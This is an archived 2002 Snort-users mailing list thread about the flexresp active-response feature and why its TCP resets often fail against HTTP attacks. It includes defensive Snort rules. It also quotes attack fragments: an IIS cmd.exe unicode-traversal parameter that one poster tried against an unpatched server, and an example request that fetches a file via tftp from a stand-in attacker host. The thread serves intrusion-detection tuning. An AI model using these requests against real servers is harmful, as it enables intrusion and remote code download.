ronneilc at ...4042...
Tue Mar 26 08:30:07 EST 2002
I've actually implemented this. But I've noticed that it's not quicky.
I'm running it on a FreeBSD-STABLE 4.5. And then I tried to hit one
of our IIS webserver which is not patched, I was able to see a dir listing.
It was successful when I changed my u n i c o d e parameter as /c+dir+c:\+/s
That's when my session got teared down but I've already seen some of the listings.
On the first one, /c+dir, I can see
my snorts sends a R using tcpdump but was not able to really tear it.
So what would be the appropriate approach now for this?
Thank you very much.
> -----Original Message-----
> From: Bamm Visscher [mailto:bamm at ...539...]
> Sent: Tuesday, March 26, 2002 7:29 AM
> To: Jeff Nathan
> Cc: Sonika Malhotra; Snort
> Subject: Re: [Snort-users] Snort+flexresp
> Thanks for the explanation about how flex-resp works.
> Although to me it
> seems you mixed "how it works" with "when/how to use it" and
> I disagree
> with some of your assertions. You seem to imply that
> flex-resp will only
> work with content based signatures. That is where I disagree. For
> example, rules like these:
> alert tcp 192.168.1.1 any <> any any (msg: "LOCAL Attempted
> session from
> perp."; flags:!R; resp:rst_all;)
> alert tcp any any <> 10.1.1.1 1524 (msg: "LOCAL Attempted session to
> perps backdoor."; flags:!R; resp:rst_all;)
> will attempt kill any session to/from the "bad guy" or his
> backdoor, and
> as long as the protocol is "reset friendly" (ie ssh, FTP,
> SMTP, most tcp
> backdoors, etc), it will be very successful.
> Why would anyone use a rule like this? Because in some organizations
> (MSSPs, larger companies, etc), the individuals doing network security
> monitoring aren't necessarily handling the management of the
> firewalls/routers. With flex-resp, the analyst who detect a successful
> compromise can institute some type of "protection" until those
> responsible for the compromised system and/or the engineers
> for FW management can be contacted and they can take the appropriate
> On Mon, 2002-03-25 at 18:49, Jeff Nathan wrote:
> > Hi snortees,
> > I suppose it's time for a little tour of how flexresp is designed to
> > work.
> > First off, flexresp is not designed to reset new TCP
> connections to a
> > particular port outright. It's actually designed to be
> employed with
> > signatures containing a *pattern* such that when a snort signature
> > matches a packet on the wire a response is generated.
> > With TCP, calculating ACK numbers is a function of acknowledging the
> > bytes already received by the IP stack as well as any TCP flags that
> > must be acknowledged and then incrementing the ACK number
> > With that said, flexresp won't properly generate a RST for
> a SYN to a
> > port, or at least it probably won't be accepted by a client IP stack
> > (though there's no accounting for broken IP stacks). It's just not
> > designed to work that way.
> > When testing flexresp, your TCP based rules should trigger
> off packets
> > containing data and not part of the establishment or
> tearing down of a
> > session.
> > I hope this helps.
> > -Jeff
> > Bamm Visscher wrote:
> > >
> > > I apologize for the confusion, I guess I should of
> elaborated more. I
> > > did not mean to imply content rules do not "work" with
> flex-resp. You
> > > can create any rule with any option and resp will "work".
> By "work", I
> > > mean the reset(s)/ICMP error messages will be created by
> snort and sent
> > > on the wire. The statement I was trying to make is how
> ineffective flex
> > > response rules can be when used on HTTP traffic. Take the
> following HTTP
> > > session as an example:
> > >
> > > attacker:1025 -> target:80 S
> > > attacker:1025 <- target:80 SA
> > > attacker:1025 -> target:80 A
> > > attacker:1025 -> target:80 AP "GET blah/cmd.exe?tftp
> hax0r.net blah"
> > > attacker:1025 <- target:80 AP <HTML>200 Okay</HTML>
> > > attacker:1025 -> target:80 FA
> > > attacker:1025 <- target:80 A
> > > attacker:1025 -> target:80 FA
> > > attacker:1025 <- tartge:80 A
> > >
> > > All the important content in this connection is contained
> in a single
> > > packet (as is often the case with HTTP). In order to
> effectively reset
> > > this connection, our reset packet has to reach the target
> box before the
> > > "GET" request. So, using a content based rule probably
> isn't going to
> > > prevent this attack from working. Matter of fact, try
> setting up a rule
> > > to reset all web surfing from your IP (alert tcp YOURIP
> any <> any 80
> > > (msg: "blocking web tfc"; resp:rst_all;)). Now see if you
> can surf the
> > > web. I tried this a while back with snort-1.8.1 and had
> no problems
> > > loading most pages. I tried the same thing later with
> snort-1.8.3 (major
> > > changes to flex-resp) and found that it could sometimes
> prevent the
> > > pages from loading, but not very often (IIRC. If your
> tests differ,
> > > please let me know, I have been known to make mistakes).
> This is no
> > > fault of snort, but a problem with the concept of
> flex-resp (tcp-reset,
> > > etc) and affects all IDSes that employ it.
> > >
> > > With that said, I do use flex-resp in a short-term
> incident containment
> > > mode until long term fixes can be put in place. For
> example, once an
> > > intrusion has been identified, I will use flex-resp in an
> effort to
> > > prevent an attacker from doing further damage until the
> affected system
> > > can be taken off-line or a rule blocking the attacker can
> be placed in
> > > the FW/router. This often means sending a reset in response to any
> > > packet sent by the source. Another example is using
> flex-resp to help
> > > prevent the spread of a virus with a content based
> sigature in snort
> > > until the virus signatures on email scrubbers can be updated.
> > >
> > > Using flex-resp eats resources, so take the time to find
> out just how
> > > different protocols work (HTTP, FTP, telnet, etc) and
> make sure any
> > > flex-resp rules you create, are going to be effective
> "against" them. If
> > > you want snort to take a more "active" role in preventing
> intrusions, I
> > > suggest you look into hogwash.
> > >
> > > Bammkkkk
> > --
> > http://jeff.wwti.com (pgp key available)
> > "Common sense is the collection of prejudices acquired by
> age eighteen."
> > - Albert Einstein
> > _______________________________________________
> > Snort-users mailing list
> > Snort-users at lists.sourceforge.net
> > Go to this URL to change user options or unsubscribe:
> > https://lists.sourceforge.net/lists/listinfo/snort-users
> > Snort-users list archive:
> > http://www.geocrawler.com/redir-sf.php3?list=snort-users
> Snort-users mailing list
> Snort-users at lists.sourceforge.net
> Go to this URL to change user options or unsubscribe:
> Snort-users list archive:
More information about the Snort-users